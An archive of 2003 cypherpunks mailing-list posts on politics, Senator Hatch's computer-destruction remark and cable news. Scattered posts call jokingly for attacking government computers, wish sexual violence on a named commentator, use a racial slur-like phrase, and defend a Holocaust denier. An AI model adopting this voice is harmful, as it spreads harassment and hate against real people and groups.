From: Chip Matteson <chip at moonlightphoto.net>
To: newtontalk at newtontalk.net
Subject: Re: [NTLK] OT: Dictatorial Powers

We nearly got that in Texas last month when the Republicans tried to
Jerrymander out the Democrats. The Democrats actually had to go to Oklahoma
to squash the quorum on redistricting. The Republican Governor, Rick Perry,
sent the Texas Rangers to bring them back. Texas Rangers do not have
jursdiciton in OK.

It was also reported that Tom Delay, US house Republican, used the special
powers granted to fight terrorism to get the Democrats out of Oklahoma.

Land of the free!

On 6/19/03 1:33 PM, "Johannes Spielhagen" <gottjott at gmx.de> wrote:

> 
> Am Donnerstag, 19.06.03 um 11:33 Uhr schrieb eric engle:
> 
>> What would you say to a constitutional amendment to give the president
>> dictatorial powers?
>> http://www.miami.com/mld/miamiherald/news/nation/6007732.htm
>> 
>> 
> This is a real cool thing. We had such a thing in Germany only a few
> years ago (around 1933-1945) as well ("Notstandsverordnungen") and
> after that the whole country was not in the state (pun not intended)
> you would desire to find it. And funny, nobody liked us anymore.
> 
> Johannes

-- 
Chip Matteson
Moonlight Photographics
811-R West Kings Hwy
San Antonio, TX 78212

On the web: www.moonlightphoto.net/
E-mail: chip at moonlightphoto.net

210-733-7358 Work
210-733-9982 Fax
210-602-9192 Mobile

-- 
This is the NewtonTalk list - http://www.newtontalk.net/ for all inquiries
List FAQ/Etiquette/Terms: http://www.newtontalk.net/faq.html
Official Newton FAQ: http://www.chuma.org/newton/faq/




From mixmaster at remailer.privacy.at  Thu Jun 19 07:39:14 2003
From: mixmaster at remailer.privacy.at (privacy.at Anonymous Remailer)
Date: Thu, 19 Jun 2003 16:39:14 +0200 (CEST)
Subject: Destroying government computers
Message-ID: <568102129ab362017e8f58d4f0fbbcfa@remailer.privacy.at>

We must not wait while dangers gather. They are either with us 
on computer security, or they are with the terrorists. We know 
they have these weapons for mass communications destruction and 
disruption and they have used them before. Preemptive actions 
are insufficient. Preventive actions are a right of self-
defense. Isn't that the current world view legitimized by the US 
government? We don't sit still when a would-be attacker moves 
toward the cockpit, and there is no need to sit still waiting 
for our BIOS to be overwritten with nulls. Taking away offensive 
capabilities when potential attackers enter the concourse or 
trespass upon the chattel of our computers seems only reasonable 
and fully supportive of national security and public policy. 
Since we can't know whether it is our friends and heroic 
protectors, or terrorists, who are trying to destroy our 
communications, kill all the dangerous, evil machines that 
connect and let God sort them out.

On Thu, 19 Jun 2003 01:07:49 -0400, you wrote:
>
> The chairman of the Senate Judiciary  Committee said yesterday he favors developing new technology to remotely  destroy the computers of people who illegally download music from the Internet.
>
> Well, even if they COULD develope such a technology, wouldn't it only work for about a day or two before a patch was made to block it? Sounds awfully Dilbert-like. Methinks Mr Hatch is not a very bright man.
>
> If Orrin Hatch proposes such a thing, we can propose technologies which
> identify those from .gov or .mil or other Congress/Gov't. domains and  send lethal viruses and suchlike back to them to destroy their machines  if they illegally connect to our machines.
>
> Why wait? And of course, such an act would be our patriotic duty, because if we didn't, then The Terrorists certainly would when we were least prepared for it.
>
> -TD
>
>
>
> From: Tim May <timcmay at got.net>
> To: cypherpunks at lne.com
> Subject: Destroying government computers
> Date: Wed, 18 Jun 2003 20:16:57 -0700
>
> http://www.signonsandiego.com/news/uniontrib/wed/business/ news_1b18hatch.html
> >
> > June 18, 2003, WASHINGTON - The chairman of the Senate Judiciary
> Committee
> > said yesterday he favors developing new technology to remotely  destroy the
> > computers of people who illegally download music from the Internet.
> >
> > "If that's the only way, then I'm all for destroying their machines.  If
> you
> > have a few hundred thousand of those, I think people would realize"  the
> > seriousness of their actions, he said.
>
>
> If Orrin Hatch proposes such a thing, we can propose technologies which
> identify those from .gov or .mil or other Congress/Gov't. domains and  send lethal viruses and suchlike back to them to destroy their machines  if they illegally connect to our machines.
>
> (A simple warning that government stooges, lawyers, judges, clerks, and
> any GS-xx employees are not allowed to connect should suffice. After  that, if they connect, fuck their machines dead.)
>
>
> --Tim May
> "Ben Franklin warned us that those who would trade liberty for a little
> bit of temporary security deserve neither. This is the path we are now
> racing down, with American flags fluttering."-- Tim May, on events
> following 9/11/2001
>
> _________________________________________________________________
> MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*.
> http://join.msn.com/?page=features/virus




From emc at artifact.psychedelic.net  Thu Jun 19 17:38:55 2003
From: emc at artifact.psychedelic.net (Eric Cordian)
Date: Thu, 19 Jun 2003 17:38:55 -0700 (PDT)
Subject: (Bald) Weenies at Amnesty International
Message-ID: <200306200038.h5K0cupE006544@artifact.psychedelic.net>

Turns out the scumbags at Amnesty International have decided to call for
the Canadian government to investigate and charge Ernst Zundel for not
kowtowing to the official version of "The Holocaust(tm)" as promulgated by
the ADL.

Zundel has been sitting in jail in Canada after being booted out of the US
at the behest of the Neocons in the state department for missing an
imigration hearing that was never scheduled.  Canada is trying to deport
him to Germany, as a "national security threat," where he may be
persecuted under German anti-free speech laws.

Amnesty has also issued a statement saying that it is their policy that
they will "not adopt people imprisoned for 'hate speech' as prisoners of
conscience."  Well, that certainly covers a lot of territory, doesn't it.

Figuring out what country and what group of people try to get all
criticism of their conduct labeled as "hate speech" will be left as an
exercise for the reader.

http://www.nationalpost.com/national/story.html?id=3F1AC4C7-2AF0-4552-99FC-6419965CFC78

-- 
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"




From eresrch at eskimo.com  Thu Jun 19 19:47:06 2003
From: eresrch at eskimo.com (Mike Rosing)
Date: Thu, 19 Jun 2003 19:47:06 -0700 (PDT)
Subject: Crypto chip article
In-Reply-To: <200306200038.h5K0cupE006544@artifact.psychedelic.net>
Message-ID: <Pine.GSU.4.44.0306191942510.28723-100000@eskimo.com>

The recent mailing from Dallas-Maxim included their "microcontroller
engineering review" volume 2.  There's an article inside called
"SRAM-based microcontroller optimizes security" with some nice pictures of
a chip that's been burned open by acid.  Their note 3 is really cute too.

Patience, persistence, truth,
Dr. mike




From decoy at iki.fi  Thu Jun 19 11:17:59 2003
From: decoy at iki.fi (Sampo Syreeni)
Date: Thu, 19 Jun 2003 21:17:59 +0300 (EEST)
Subject: You Don't Say
In-Reply-To: <a060012c1bb1789b4225e@[209.86.250.112]>
References: <a060012c1bb1789b4225e@[209.86.250.112]>
Message-ID: <Pine.SOL.4.51.0306192052110.4322@kruuna.Helsinki.FI>

On 2003-06-19, R. A. Hettinga uttered to Clippable:

>The detainees are in this country illegally, their co-religionists had
>just slaughtered thousands of Americans, and the Times is dismayed,
>perplexed, angry and shocked that some of them may have been subjected to
>the sort of manhandling that occurs in the hallways of middle schools
>throughout the nation.

Ah, yes, now I understand: in Coulter's Land of the Normal, rape is
perfectly fine because, after all, children *are* molested. I guess she
would also be perfectly happy at being manhandled by the local Muslim
community for coreligionism with Shrub.

Somehow I don't think I need to buy her book. I no longer see what the
lies could possibly have been.

>Why, I'm subjected to physical and verbal abuse every time I go through
>an airport security check, and I'm a citizen.

There might just be a reason why.
-- 
Sampo Syreeni, aka decoy - mailto:decoy at iki.fi, tel:+358-50-5756111
student/math+cs/helsinki university, http://www.iki.fi/~decoy/front
openpgp: 050985C2/025E D175 ABE5 027C 9494 EEB0 E090 8BA9 0509 85C2




From timcmay at got.net  Thu Jun 19 22:36:35 2003
From: timcmay at got.net (Tim May)
Date: Thu, 19 Jun 2003 22:36:35 -0700
Subject: Quoting Anne Coulter is like...
In-Reply-To: <Pine.SOL.4.51.0306192052110.4322@kruuna.Helsinki.FI>
Message-ID: <280A4F74-A2E1-11D7-9C17-000A956B4C74@got.net>

On Thursday, June 19, 2003, at 11:17  AM, Sampo Syreeni wrote:

> On 2003-06-19, R. A. Hettinga uttered to Clippable:
>
>> The detainees are in this country illegally, their co-religionists had
>> just slaughtered thousands of Americans, and the Times is dismayed,
>> perplexed, angry and shocked that some of them may have been 
>> subjected to
>> the sort of manhandling that occurs in the hallways of middle schools
>> throughout the nation.
>
> Ah, yes, now I understand: in Coulter's Land of the Normal, rape is
> perfectly fine because, after all, children *are* molested. I guess she
> would also be perfectly happy at being manhandled by the local Muslim
> community for coreligionism with Shrub.
>
> Somehow I don't think I need to buy her book. I no longer see what the
> lies could possibly have been.

Coulter is an ultra-skinny (pretty to some men, not to me--if she were 
a male she'd be Iggy Pop at his most skinny--see note) loudmouthed 
fascist. Like many who have become talking heads on t.v., she excels at 
interrupting and completely ignoring the points made by others. (Not 
that I am necessarily different, but I am not supposedly engaged in a 
debate with another. Nor am I on television, thankfully for me and 
thee.)

(Note: If there were no lawyers suing people for their opinions, I'd 
opine that Anne Coulter has the physical characteristics and the 
fast-talking patter of a speed freak, a meth addict, a crystalhead, 
which could explain a lot about Anne Coulter. But lawyers are 
everywhere, and googling for names, so I won't opine.)

Coulter had a quotable line which shows just how much of a statist she 
is: "We should invade their country, take their oil, and convert them 
to Christianity." (Or words to this effect...exact quote can be 
googled.)

I stopped watching most of the networks for news during the War of 
Aggression in Iraq. When I occasionally land on CNN or Fox or MSNBC I 
am disgusted by the repeated teases for upcoming stories (sometimes the 
minutes devoted to the several teases exceed the length of the story 
when it finally appears), by the loudmouthed brayings, and by the short 
attention spans (a guy named "Anderson Cooper" is the worst on CNN, at 
least. He almost never lets a guest finish a thought. And his 
interruptions are banal, not useful as some interruptions can be. 
Another CNN guy, Aaron Brown, is actually refreshing in his laidback, 
Charles Kuralt-style slow examination of an issue...I ought to Tivo his 
show.)

But Anne Coulter is a complete jackass. She's not even a "neocon" in 
the good sense.
Just another statist.

--Tim May
"That government is best which governs not at all." --Henry David 
Thoreau




From timcmay at got.net  Thu Jun 19 22:40:25 2003
From: timcmay at got.net (Tim May)
Date: Thu, 19 Jun 2003 22:40:25 -0700
Subject: Senators from Utah being Southern
In-Reply-To: <3EF21179.10E3ED90@cdc.gov>
Message-ID: <B1756B03-A2E1-11D7-9C17-000A956B4C74@got.net>

On Thursday, June 19, 2003, at 12:39  PM, Major Variola (ret) wrote:

> At 12:30 PM 6/19/03 -0500, John Washburn wrote:
>> Utah is Southern?  I do not want directions from you. :-)
>
> Well, it is southern w.r.t. certain states, but yeah, y'all got me.
>
> But what I meant was, a jeebus-talking, flag-waving pinhead.

Sorry, wrong again. Hatch is a member of the Church of Jesus Christ of 
Latter Day Saints, LDS, aka Mormon. Not an actual Christian church. 
Details available with Google. Basically, Jesus is no more a divine 
figure in LDS than in Islam. In fact, LDS and Islam share a number of 
things in common with regard to the role of the various prophets and 
seers.

I've known a bunch of Mormons, and "jeebus-talking" is not  something 
they do much of.

--Tim May

"In the beginning of a change the patriot is a scarce man, and brave, 
and hated and scorned. When his cause succeeds, the timid join him, for 
then it costs nothing to be a patriot." -- Mark Twain




From mixmaster at remailer.privacy.at  Thu Jun 19 13:56:22 2003
From: mixmaster at remailer.privacy.at (privacy.at Anonymous Remailer)
Date: Thu, 19 Jun 2003 22:56:22 +0200 (CEST)
Subject: Destroying computers
Message-ID: <6cc19dd9d6ee18eeadb823cc9902d24c@remailer.privacy.at>

On Thu, 19 Jun 2003 07:41:52 -0700, you wrote:
>
> At 01:07 AM 6/19/03 -0400, Tyler Durden wrote:
> > Methinks Mr Hatch is not a very bright man.
>
> A Southern senator.  Need I say more?

Yes, a little more. Do you mean "southern Utah"?

Hey, any stereotype in a storm, eh?




From rsw at jfet.org  Thu Jun 19 21:59:31 2003
From: rsw at jfet.org (Riad S. Wahby)
Date: Fri, 20 Jun 2003 00:59:31 -0400
Subject: Pvt. Lynch story fabricated?
Message-ID: <20030620005931.C10182@positron.mit.edu>

I didn't see any reference to this in the archive, and thought some here
might be interested.

http://news.bbc.co.uk/2/hi/programmes/correspondent/3028585.stm

Remember Private Lynch, the clerk who was captured and then "rescued"
from a hospital?  No wonder it looked so good on camera---it was
produced by Jerry Bruckheimer.

-- 
Riad Wahby
rsw at jfet.org
MIT VI-2 M.Eng




From bill.stewart at pobox.com  Fri Jun 20 01:00:23 2003
From: bill.stewart at pobox.com (Bill Stewart)
Date: Fri, 20 Jun 2003 01:00:23 -0700
Subject: Destroying computers
In-Reply-To: <9A1CCCE54805534C80F5BD0FC19D1E6B1304BF@chi-exch02.ffhq.ffc
  onsulting.net>
Message-ID: <5.1.1.6.2.20030619152759.0334bfa8@idiom.com>

 > > > Methinks Mr Hatch is not a very bright man.

 > > A Southern senator.  Need I say more?

>Utah is Southern?  I do not want directions from you. :-)

I think people have been mixing up Orrin Hatch with Jesse Helms.
Both are right-wingers who didn't really like the 20th century,
much less the 21st, both have right-wing religious constituencies
(though radically different religions),
but they're really quite different.




From kvanhorn at ksvanhorn.com  Fri Jun 20 06:36:03 2003
From: kvanhorn at ksvanhorn.com (Kevin S. Van Horn)
Date: Fri, 20 Jun 2003 08:36:03 -0500
Subject: Senators from Utah being Southern
References: <B1756B03-A2E1-11D7-9C17-000A956B4C74@got.net>
Message-ID: <3EF30DC3.2080209@ksvanhorn.com>

Tim May wrote:

> Sorry, wrong again. Hatch is a member of the Church of Jesus Christ of 
> Latter Day Saints, LDS, aka Mormon. Not an actual Christian church. 
> Details available with Google. Basically, Jesus is no more a divine 
> figure in LDS than in Islam. In fact, LDS and Islam share a number of 
> things in common with regard to the role of the various prophets and 
> seers. 

Sorry, but you've got your facts completely wrong here.  Mormons very 
much consider themselves a Christian church; in fact, they consider 
their church to be the restoration of the church Christ originally 
established.  Jesus is a divine figure in the LDS church. He's 
considered the literal son of God the Father; he's also considered the 
creator of the Earth, the Jehovah of the Old Testament, and a god in his 
own right.




From declan at well.com  Fri Jun 20 06:27:50 2003
From: declan at well.com (Declan McCullagh)
Date: Fri, 20 Jun 2003 09:27:50 -0400
Subject: I love announcements like this
Message-ID: <5.2.1.1.0.20030620092733.04184008@mail.well.com>

today...


SURVEILLANCE MATTERS
Commodity Futures Trading Commission (CFTC) (F.R. Page 35631)
Closed meeting to discuss surveillance matters.
Location: 1155 21st St., NW, 9th Floor Conference Room,
     Washington, D.C.. 11 a.m.
Contact: Jean Webb, 202-418-5100
**CLOSED**




From declan at well.com  Fri Jun 20 06:32:16 2003
From: declan at well.com (Declan McCullagh)
Date: Fri, 20 Jun 2003 09:32:16 -0400
Subject: Congress & the intelligence community
Message-ID: <5.2.1.1.0.20030620093205.03a4f510@mail.well.com>

Date: Jul 14 - 17, 2003
Location: Washington, D.C.
Event Name: Congress and the Intelligence Community
Event Sponsor: The Government Affairs Institute at Georgetown University
Event Description: Open to Civilian and uniformed employees (GS-11 and 
above or military equivalent) from any department or agency with an 
interest in the intelligence area, the purpose of this four-day workshop is 
to increase the participant's understanding of the various ways that 
Congress interacts with the intelligence community, and therefore increase 
their effectiveness in this environment. Topics covered may include the 
politics of defense legislation; the role and operation of the House and 
Senate committees that authorize and appropriate funds for the intelligence 
community; the issue of intelligence and homeland security; and the 
influence of the media and special interests.
Contact Information:   Joan Milan   [ gai at georgetown.edu ]   202-333-4838
Web site: http://www.georgetown.edu/ssce/gai 




From Vincent.Penquerch at artworks.co.uk  Fri Jun 20 02:25:42 2003
From: Vincent.Penquerch at artworks.co.uk (Vincent Penquerc'h)
Date: Fri, 20 Jun 2003 10:25:42 +0100
Subject: [NTLK] OT: Dictatorial Powers (fwd)
Message-ID: <B14C9D7F1977D111AD740060970ACBDA018931CB@warhol>

> Nice (offtopic to that list) discussion over on the NewtonTalk mailing
> list.... :)
[...]
> >> http://www.miami.com/mld/miamiherald/news/nation/6007732.htm

Heh, when reading
> After the Sept. 11 attacks, members of the House wrestled with the
> issue of their own mortality.
I actually read:
> After the Sept. 11 attacks, members of the House wrestled with the
> issue of their own morality.
:)

-- 
Vincent Penquerc'h 




From schear at attbi.com  Fri Jun 20 11:09:24 2003
From: schear at attbi.com (Steve Schear)
Date: Fri, 20 Jun 2003 11:09:24 -0700
Subject: Nauru's Offshore Banking Sector Has Been 'Eliminated', Says
  Chief Secretary
Message-ID: <5.2.1.1.0.20030620110726.04229690@mail.attbi.com>

Nauru's newly elected government, headed by President and Foreign Affairs 
Minister, Ludwig Scotty has 'eliminated' the jurisdiction's offshore 
banking sector, according to reports.

http://www.tax-news.com/asp/story/story.asp?storyname=12304


"A Jobless Recovery is like a Breadless Sandwich."
-- Steve Schear 




From jamesd at echeque.com  Fri Jun 20 14:42:59 2003
From: jamesd at echeque.com (James A. Donald)
Date: Fri, 20 Jun 2003 14:42:59 -0700
Subject: Quoting Anne Coulter is like...
In-Reply-To: <B77F8AFC-A35D-11D7-990C-000393D91E36@fexl.com>
References: <a06001206bb190bda9b6e@[209.86.240.241]>
Message-ID: <3EF31D73.20158.1610975F@localhost>

    --
On 20 Jun 2003 at 16:28, Patrick Chkoreff wrote:
> Yesterday I caught Keith Olberman's show on MSNBC when he was 
> announcing that Fox News will be hiring Dennis Miller for
> occasional guest commentaries.  Keith Olberman is known for
> his funny quips, but yesterday he did a drop-dead hilarious
> impression of an extended Dennis Miller rant.  Only this
> time, it was Keith Olberman ranting against Fox's "We decide,
> you obey" reporting style.  The writing and delivery were
> perfect, and he really hit his target.

MSNBC got full of rage against Fox, when Fox's reporting of the
war turned out to be accurate, while MSNBC turned out to be
wildly inaccurate.

Watching MSNBC, one would have thought that the US was in for a
Stalingrad style battle for Baghdad, at a time when Fox
accurately reported that resistance had collapsed. 

    --digsig
         James A. Donald
     6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
     F0nK6TqVVqn96rO4YYy2UI3IekPx4yDvxiQioy7s
     4L6N9w0zsAAqJzA0mceuRuzp68I5YadfS0OppipMU




From jamesd at echeque.com  Fri Jun 20 14:50:35 2003
From: jamesd at echeque.com (James A. Donald)
Date: Fri, 20 Jun 2003 14:50:35 -0700
Subject: Quoting Anne Coulter is like...
Message-ID: <3EF31F3B.27439.16178F80@localhost>

    --
On 20 Jun 2003 at 16:28, Patrick Chkoreff wrote:
> Yesterday I caught Keith Olberman's show on MSNBC when he was 
> announcing that Fox News will be hiring Dennis Miller for
> occasional guest commentaries.  Keith Olberman is known for
> his funny quips, but yesterday he did a drop-dead hilarious
> impression of an extended Dennis Miller rant.  Only this
> time, it was Keith Olberman ranting against Fox's "We decide,
> you obey" reporting style.  The writing and delivery were
> perfect, and he really hit his target.

MSNBC got full of rage against Fox, when Fox's reporting of the
war turned out to be accurate, while MSNBC turned out to be
wildly inaccurate.

Watching MSNBC, one would have thought that the US was in for a
Stalingrad style battle for Baghdad, at a time when Fox
accurately reported that resistance had collapsed. 

    --digsig
         James A. Donald
     6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
     F0nK6TqVVqn96rO4YYy2UI3IekPx4yDvxiQioy7s
     4L6N9w0zsAAqJzA0mceuRuzp68I5YadfS0OppipMU




From patrick at fexl.com  Fri Jun 20 13:28:13 2003
From: patrick at fexl.com (Patrick Chkoreff)
Date: Fri, 20 Jun 2003 16:28:13 -0400
Subject: Quoting Anne Coulter is like...
In-Reply-To: <a06001206bb190bda9b6e@[209.86.240.241]>
Message-ID: <B77F8AFC-A35D-11D7-990C-000393D91E36@fexl.com>

> From: Tim May <timcmay at got.net>
> ... Another CNN guy, Aaron Brown, is actually refreshing in his 
> laidback,
> Charles Kuralt-style slow examination of an issue...I ought to Tivo his
> show.)

Yesterday I caught Keith Olberman's show on MSNBC when he was 
announcing that Fox News will be hiring Dennis Miller for occasional 
guest commentaries.  Keith Olberman is known for his funny quips, but 
yesterday he did a drop-dead hilarious impression of an extended Dennis 
Miller rant.  Only this time, it was Keith Olberman ranting against 
Fox's "We decide, you obey" reporting style.  The writing and delivery 
were perfect, and he really hit his target.

I've nearly boycotted TV news lately, so that was the first time I've 
seen his show.  I'll Tivo it for entertainment value if nothing else.

-- Patrick




From DaveHowe at gmx.co.uk  Fri Jun 20 08:37:18 2003
From: DaveHowe at gmx.co.uk (Dave Howe)
Date: Fri, 20 Jun 2003 16:37:18 +0100
Subject: Orrin Hatch: Software Pirate
References: <ddf017d9cac36daca6ccb362682193e7@erisiandiscord.de>
Message-ID: <01ce01c33741$d6493630$c71121c2@exchange.sharpuk.co.uk>

Anonymous wrote:
> Under the Hatch Doctrine, the computer that serves his web site
> at www.senate.gov/~hatch/, is a target for elimination. It appears
> that the Honorable Senator was using JavaScript code in violation
> of the license:
> http://www.wired.com/news/politics/0,1283,59305,00.html
> Sic 'em, boys.
Not sure as that wasn't the machine used for the download - just the machine
it was found on. Its not as if he did his own web design after all.

Take it out anyway of course, but *also* track down the web design
consultancy he hired and destroy all their computers too. Its the only way
to be sure and its the morally right thing to do :)




From discord-nobody at erisiandiscord.de  Fri Jun 20 08:10:42 2003
From: discord-nobody at erisiandiscord.de (Anonymous)
Date: Fri, 20 Jun 2003 17:09:42 +0159 (CEST)
Subject: Orrin Hatch: Software Pirate
Message-ID: <ddf017d9cac36daca6ccb362682193e7@erisiandiscord.de>

Under the Hatch Doctrine, the computer that serves his web site
at www.senate.gov/~hatch/, is a target for elimination. It appears
that the Honorable Senator was using JavaScript code in violation
of the license:

http://www.wired.com/news/politics/0,1283,59305,00.html

Sic 'em, boys.




From timcmay at got.net  Fri Jun 20 17:17:59 2003
From: timcmay at got.net (Tim May)
Date: Fri, 20 Jun 2003 17:17:59 -0700
Subject: Quoting Anne Coulter is like...
In-Reply-To: <200306201810.51418.sfurlong@acmenet.net>
Message-ID: <D0B6747A-A37D-11D7-9C17-000A956B4C74@got.net>

On Friday, June 20, 2003, at 03:10  PM, Steve Furlong wrote:

> On Friday 20 June 2003 17:42, James A. Donald wrote:
>
>> Watching MSNBC, one would have thought that the US was in for a
>> Stalingrad style battle for Baghdad, at a time when Fox
>> accurately reported that resistance had collapsed.
>
> Gulf War I made CNN a major player. The other news stations were hoping
> to ride Gulf War II, but it ended before they could turn a profit. No
> wonder they're pissed.
>

I was around and subscribing to CNN during Oil War I. CNN did not 
profit from advertising, but from reputation. Not because their news 
team was especially great, but because CBS, NBC, and ABC were running 
"Wheel of Fortune" and "Entertainment Tonight" precisely when many 
Americans wanted to see what was happening. Those who did not already 
have cable sought it out.

Oil War II was not much different in coverage, despite the silly 
"embedded reporters." The difference was that most households now have 
access to cable or satellite, and having CNN and Fox and MSNBC is no 
longer a big deal.

--Tim May
"To those who scare peace-loving people with phantoms of lost liberty, 
my message is this: Your tactics only aid terrorists."  --John 
Ashcroft, U.S. Attorney General




From sfurlong at acmenet.net  Fri Jun 20 15:10:51 2003
From: sfurlong at acmenet.net (Steve Furlong)
Date: Fri, 20 Jun 2003 18:10:51 -0400
Subject: Quoting Anne Coulter is like...
In-Reply-To: <3EF31D73.20158.1610975F@localhost>
References: <a06001206bb190bda9b6e@[209.86.240.241]>
  <3EF31D73.20158.1610975F@localhost>
Message-ID: <200306201810.51418.sfurlong@acmenet.net>

On Friday 20 June 2003 17:42, James A. Donald wrote:

> Watching MSNBC, one would have thought that the US was in for a
> Stalingrad style battle for Baghdad, at a time when Fox
> accurately reported that resistance had collapsed.

Gulf War I made CNN a major player. The other news stations were hoping 
to ride Gulf War II, but it ended before they could turn a profit. No 
wonder they're pissed.

-- 
Steve Furlong    Computer Condottiere   Have GNU, Will Travel

"If someone is so fearful that, that they're going to start using
their weapons to protect their rights, makes me very nervous that
these people have these weapons at all!"  -- Rep. Henry Waxman




From mixmaster at remailer.privacy.at  Fri Jun 20 10:25:55 2003
From: mixmaster at remailer.privacy.at (privacy.at Anonymous Remailer)
Date: Fri, 20 Jun 2003 19:25:55 +0200 (CEST)
Subject: I love announcements like this
Message-ID: <6782f0b26f42d286a25bf2576d41ac32@remailer.privacy.at>

On Fri, 20 Jun 2003 09:27:50 -0400, you wrote:
>
> today...
>
>
> SURVEILLANCE MATTERS
> Commodity Futures Trading Commission (CFTC) (F.R. Page 35631)
> Closed meeting to discuss surveillance matters.
> Location: 1155 21st St., NW, 9th Floor Conference Room,
>     Washington, D.C.. 11 a.m.
> Contact: Jean Webb, 202-418-5100
> **CLOSED**

How about this news from China. Looks like Ashcroft has the same 
process underway here. Maybe it is modelled on our "partner in 
freedom", China.

Papers, please!!

http://www.time.com/time/asia/magazine/article/0,13673,501030623-
458835,00.html?cnn=yes

Asia
Hostages of the State

A murder that shocked the nation exposes the brutality of 
China's system of extrajudicial detentions
BY SUSAN JAKES / BEIJING CHINA PHOTO/REUTERS

Sun Liusong's son, Sun Zhigang, was beaten to death in a 
detention center in March 2003 Had it ended differently, Sun 
Zhigang's life might have been a testament to his country's 
progress. The 27-year-old carpenter's son had worked his way out 
of a remote village in China's central Hubei province to a 
university in the provincial capital of Wuhan. He graduated with 
an arts degree, then later moved to Guangzhou, landing a job as 
a graphic designer and the chance to make a home in new China's 
glittering boomtown. But three weeks into his new life, Sun's 
luck ran out. On his way to an Internet cafi, he was stopped by 
police and asked for his ID. When Sun said he had left it at 
home, the police took him to a nearby station. By the next day 
when his boss and friends showed up with the necessary papers, 
Sun had been transferred to a detention center for vagrants. Two 
days later, on March 20, he was dead, the victim of a brutal 
beating in the center's infirmary.

Last week, in a highly secretive trial, a Guangzhou court meted 
out harsh punishmentsincluding two death sentencesto those 
deemed to be the culprits in Sun's death. They included a nurse 
alleged to have ordered other inmates to beat Sun, and the 
inmates accused of complying. But the major accomplice in Sun's 
death got off free. The bulk of the blame for Sun's death ought 
to fall on a little-known system of administrative 
detentionthat is, detention outside of the criminal justice 
systemwhereby Chinese citizens can be locked up merely for 
being in the wrong place at the wrong time. "Custody and 
repatriation," as the system is euphemistically called, exists 
to enforce laws that keep impoverished rural dwellers from 
overcrowding the country's more prosperous cities. Officially, 
custody-and- repatriation (C.-and-R.) centers are responsible 
for detaining vagrants, beggars and those who lack permits to 
live in cities, and returning them to their hometowns. In 
reality, say human-rights experts and those who have experienced 
the system firsthand, it's a terrifyingly arbitrary and 
routinely abused tool of state power that, at its worst, amounts 
to little more than a police-enforced kidnapping-and ransom 
scheme.....




From camera_lumina at hotmail.com  Fri Jun 20 16:36:09 2003
From: camera_lumina at hotmail.com (Tyler Durden)
Date: Fri, 20 Jun 2003 19:36:09 -0400
Subject: Destroying Utah
Message-ID: <BAY7-F9894HisZgQ64F0004777e@hotmail.com>

"Except Utah is not in the South by anybody's definition."

I was in Salt Lake City this very morning, and for some reason a lot of 
people sport southern accents. I suspect that's because of a "cultural 
vacuum" effect whereby there's not enough local identity to latch onto so 
they "import" some.

Also as it happens I saw that WIERD Temple downtown there, and asked "Sister 
Johnson" if she really believed God was a guy kicked back in a Laz-Z-Boy on 
the planet Kolab. She could not tell me decisely that this was not the case.

Is Hatch a Mormon?

-TD




>From: Tim May <timcmay at got.net>
>To: cypherpunks at lne.com
>Subject: Re: Destroying computers
>Date: Thu, 19 Jun 2003 08:59:59 -0700
>
>On Thursday, June 19, 2003, at 07:41  AM, Major Variola (ret) wrote:
>
>>At 01:07 AM 6/19/03 -0400, Tyler Durden wrote:
>>>Methinks Mr Hatch is not a very bright man.
>>
>>A Southern senator.  Need I say more?
>
>Except Utah is not in the South by anybody's definition.
>
>>Of course, that astronomy Professor Usher would be pretty bummed when
>>his research was toasted by an RIAA killbot, but then the Prof employs a
>>
>>provocatory surname, no?  "Collateral damage" -hey, he could change his
>>name, after all.  Maybe to David Nelson :-)
>>
>
>I was going to mention Prof. Usher in a follow-up I was mentally planning a 
>few minutes ago.
>
>For those who may not have heard about him, he's a retired astronomy prof. 
>who included a .MP3 of one of his own songs on his Web site. The record 
>company conglomerate representing the negro minstrel named "Usher" somehow 
>found his site, found that it had .MP3 files, and made the assumption the 
>site was pirating the minstrel Usher's music. They fired off threatening 
>letters and demanded action.
>
>Had Orrin Hatche's seek and destroy software been available, his site would 
>have been toast.
>
>When the record company was informed of the truth, they proposed to send 
>him a free Usher t-shirt. Just what a retired white astronomy prof wants, 
>the t-shirt of a negro rap crapper.
>
>--Tim May

_________________________________________________________________
The new MSN 8: advanced junk mail protection and 2 months FREE*  
http://join.msn.com/?page=features/junkmail




From Anonymous-Remailer at See.Comment.Header  Fri Jun 20 13:06:29 2003
From: Anonymous-Remailer at See.Comment.Header (Anonymous)
Date: 20 Jun 2003 20:06:29 -0000
Subject: You Don't Say
In-Reply-To: <a060012c1bb1789b4225e@[209.86.250.112]>
Message-ID: <LEYWYXRI37792.9211689815@anonymous.poster>

Next time she catches a flight, I hope Ann Coulter is slammed
against a wall, stripped naked, and "searched" in every orifice
by a big, black TSA agent's 9-inch penis.

I'll be laughing when Sean Hannity, Ann Coulter, their families,
and the rest of their ilk are shipped off to Gitmo shortly after
the inauguration of President Hillary Clinton in January of 2009.




From rah at shipwright.com  Sat Jun 21 07:55:04 2003
From: rah at shipwright.com (R. A. Hettinga)
Date: Sat, 21 Jun 2003 07:55:04 -0700
Subject: 'Rogue Nation' and 'At War With Ourselves': Does Not Play Well 
 With Others
Message-ID: <mailman.740.1576007633.31620.cypherpunks-legacy@lists.cpunks.org>

<http://www.nytimes.com/2003/06/22/books/review/22KELLERT.html?pagewanted=print&position=>

The New York Times


June 22, 2003 

'Rogue Nation' and 'At War With Ourselves': Does Not Play Well With Others 
By BILL KELLER 


AT WAR WITH OURSELVES 
Why America Is Squandering Its Chance to Build a Better World. 
By Michael Hirsh. 
288 pp. New York: Oxford University Press. $26. 

Americans make lousy imperialists. Our hulking military and economic might make the Roman Empire seem inconsequential by comparison, but our hearts are not in conquest. We want to be liked, and are surprised when we're not. We are inward-looking, a little complacent, and we have been, at least since Vietnam, more than a little risk averse. When we do go to war we go to win, but we don't stick around. America put the hedge in hegemon. 

At least, that's the way we see ourselves. It is increasingly not the impression held by the rest of the world. The Bush administration, provoked by those September blows to the heart, has set about persuading America to step up to its imperial potential. In the 30 months of the Bush era, America has led posses of its own choosing into two wars, withdrawn from international arrangements that we considered confining, adopted a with-us-or-against-us rhetorical style and declared as a matter of national purpose that we will allow no rival to grow into our weight class. 

